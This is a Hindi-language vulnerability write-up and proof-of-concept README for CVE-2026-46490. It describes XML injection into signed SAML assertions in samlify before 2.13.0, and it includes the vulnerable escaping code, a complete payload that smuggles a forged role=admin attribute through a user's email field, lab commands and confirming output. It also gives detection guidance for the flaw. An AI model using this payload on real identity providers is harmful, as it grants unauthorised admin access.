
CVE-2026-46490 — samlify <2.13.0 SAML AttributeValue XML injection -> signed-assertion विशेषाधिकार वृद्धि। स्व-निहित PoC, सत्यापित e2e.
AttributeValue XML इंजेक्शन → विशेषाधिकार वृद्धिsamlify
< 2.13.0टेम्पलेट प्रतिस्थापनों को केवल विशेषता संदर्भों में एस्केप करता है। एक उपयोगकर्ता-नियंत्रित मान (जैसेname) जिसे एलिमेंट टेक्स्ट में रखा जाता है —<saml:AttributeValue>{Value}</saml:AttributeValue>— बिना एस्केप किए डाला जाता है, इसलिए एक सामान्य उपयोगकर्ता अपने स्वयं के, IdP-हस्ताक्षरित SAML प्रमाणपत्र में अतिरिक्त<saml:Attribute>एलिमेंट (जैसेrole=admin) इंजेक्ट कर सकता है। चूँकि इंजेक्शन हस्ताक्षर करने से पहले होता है, सेवा प्रदाता का हस्ताक्षर जांच पास हो जाता है और वह जाली विशेषताओं को आधिकारिक मान लेता है।
src/libsaml.ts {tag} प्लेसहोल्डर्स को replaceTagsByValue → escapeTag के माध्यम से प्रतिस्थापित करता है:
replaceTagsByValue(rawXML, tagValues) {
Object.keys(tagValues).forEach(t => {
rawXML = rawXML.replace(new RegExp(`("?)\\{${t}\\}`, 'g'), escapeTag(tagValues[t]));
});
return rawXML;
}
function escapeTag(replacement) {
return (_match, quote) => {
const text = String(replacement ?? '');
// "उद्धरण न होने का मतलब है कि यह इंटरपोलेशन किसी विशेषता के लिए नहीं है, और इसलिए एस्केपिंग की आवश्यकता नहीं है"
return quote ? `${quote}${xmlEscape(text)}` : text; // <-- एलिमेंट टेक्स्ट: कोई एस्केपिंग नहीं
};
}
रेगेक्स एक वैकल्पिक पूर्ववर्ती " को quote के रूप में कैप्चर करता है। विशेषता संदर्भ (Name="{Name}") में quote सेट होता है और मान xmlEscape किया जाता है; एलिमेंट टेक्स्ट (>{attrEmail}<) में कोई पूर्ववर्ती उद्धरण नहीं होता, इसलिए मान यथावत उत्सर्जित होता है।
डिफ़ॉल्ट विशेषता टेम्पलेट मान को एलिमेंट टेक्स्ट में रखता है:
<saml:Attribute Name="{Name}" ...><saml:AttributeValue ...>{Value}</saml:AttributeValue></saml:Attribute>
इसलिए </> युक्त एक हमलावर-नियंत्रित विशेषता मान कच्चा XML इंजेक्ट करता है।
हमलावर अपनी स्वयं की प्रोफ़ाइल विशेषता (यहाँ email) को सेट करता है:
[email protected]</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="ignore"><saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema">
यह email विशेषता को बंद करता है, एक जाली role=admin विशेषता जोड़ता है, और एक डिस्पोजेबल विशेषता को पुनः खोलता है ताकि टेम्पलेट का अनुगामी </saml:AttributeValue></saml:Attribute> संतुलित रहे। IdP फिर प्रमाणपत्र पर हस्ताक्षर करता है — जाली विशेषता को कवर करते हुए। एक मानक-अनुरूप SP हस्ताक्षर को मान्य करता है (मान्य) और role=admin पढ़ता है।
cd lab && ./setup.sh # npm i [email protected] + IdP/SP कुंजी युग्म उत्पन्न करें
node poc.js
आउटपुट:
>>> इंजेक्शन पुष्ट: जाली <saml:Attribute Name="role">admin हस्ताक्षरित प्रमाणपत्र में तस्करी की गई
extracted attributes: {"email":"[email protected]","role":"admin","ignore":[]}
>>> विशेषाधिकार वृद्धि पुष्ट: SP ने role=admin प्रदान करने वाला एक हस्ताक्षर-मान्य प्रमाणपत्र स्वीकार किया
PoC samlify के स्वयं के IdP (createLoginResponse, जो कमजोर replaceTagsByValue प्रतिस्थापन करता है और हस्ताक्षर करता है) और SP (parseLoginResponse, जो हस्ताक्षर को मान्य करता है और विशेषताओं को निकालता है) को चलाता है। SP role: "admin" प्रस्तुत करता है — एक ऐसी विशेषता जिसे हमलावर ने जाली बनाया, न कि वह जो IdP जारी करने का इरादा रखता था।
कोई भी उपयोगकर्ता जो samlify-आधारित IdP पर अपने स्वयं के SAML विशेषता मानों (ईमेल, प्रदर्शन नाम, …) में से किसी एक को प्रभावित कर सकता है, एक वैध रूप से हस्ताक्षरित प्रमाणपत्र जारी कर सकता है जिसमें मनमानी अतिरिक्त विशेषताएँ — समूह/भूमिका सदस्यता, अधिकार, isAdmin फ्लैग — हों, और IdP पर भरोसा करने वाले प्रत्येक SP पर विशेषाधिकार बढ़ा सकता है। SAML हस्ताक्षर सत्यापन मदद नहीं करता: जालसाजी हस्ताक्षरित दायरे के अंदर है।
जारी/उपभोग किए गए प्रमाणपत्रों में XML मार्कअप (</saml:AttributeValue>, <saml:Attribute) वाले विशेषता मानों की जांच करें, और उन प्रमाणपत्रों के लिए जो IdP टेम्पलेट द्वारा परिभाषित से अधिक <saml:Attribute> एलिमेंट ले जाते हैं।
प्रतिस्थापन regex, उद्धरण ह्युरिस्टिक और पैच के लिए ANALYSIS.md देखें।
| CVE | CVE-2026-46490 |
| सलाह | GHSA-34r5-q4jw-r36m |
| प्रभावित | samlify < 2.13.0 |
| ठीक किया गया | 2.13.0 |
| क्लास | CWE-91 (XML इंजेक्शन) → विशेषाधिकार वृद्धि |
| CVSS | 8.8 (उच्च) |
| प्रमाणीकरण | प्रमाणित निम्न-अधिकार उपयोगकर्ता (अपने स्वयं के किसी एक विशेषता मान को नियंत्रित करता है) |
| स्थिति | पुष्टि — [email protected] के साथ पूर्ण IdP→SP श्रृंखला का पुनरुत्पादन |